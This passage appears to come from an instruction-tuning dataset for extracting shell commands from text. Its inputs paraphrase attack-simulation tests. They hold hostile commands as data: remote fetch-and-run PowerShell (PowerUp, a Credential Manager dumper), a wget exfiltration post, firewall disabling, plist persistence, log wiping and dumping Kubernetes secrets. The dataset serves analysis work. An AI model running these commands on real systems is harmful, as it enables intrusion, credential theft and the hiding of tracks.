explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Windows Firewall can be disabled by an attacker via the command: netsh firewall set opmode mode=disable",
    "output": "{\"command_list\": [\"netsh firewall set opmode mode=disable\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The user account can be removed by executing this command: sysadminctl -deleteUser #{user_account} #enter admin password",
    "output": "{\"command_list\": [\"sysadminctl -deleteUser #{user_account} #enter admin password\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To exfiltrate data over HTTPS, use the following command: wget --post-data=\"msg=AtomicTestT1048.002\" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after",
    "output": "{\"command_list\": [\"wget --post-data=\\\"msg=AtomicTestT1048.002\\\" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves creating a plist and loading it with the command: sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename}\nlaunchctl load -w /Library/LaunchAgents/#{plist_filename}",
    "output": "{\"command_list\": [\"sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename}\\nlaunchctl load -w /Library/LaunchAgents/#{plist_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract credentials from Windows Credential Manager, use the following command: IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force",
    "output": "{\"command_list\": [\"IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For traffic redirection purposes, execute this command (be aware of potential conflicts with system settings):\nexport #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}\ncurl #{test_url}\n",
    "output": "{\"command_list\": [\"export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}\\ncurl #{test_url}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Docker CLI can be used to clear container logs completely with the command: docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log",
    "output": "{\"command_list\": [\"docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test queries the Kubernetes API for sensitive information by executing this command: kubectl get secrets --all-namespaces",
    "output": "{\"command_list\": [\"kubectl get secrets --all-namespaces\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound 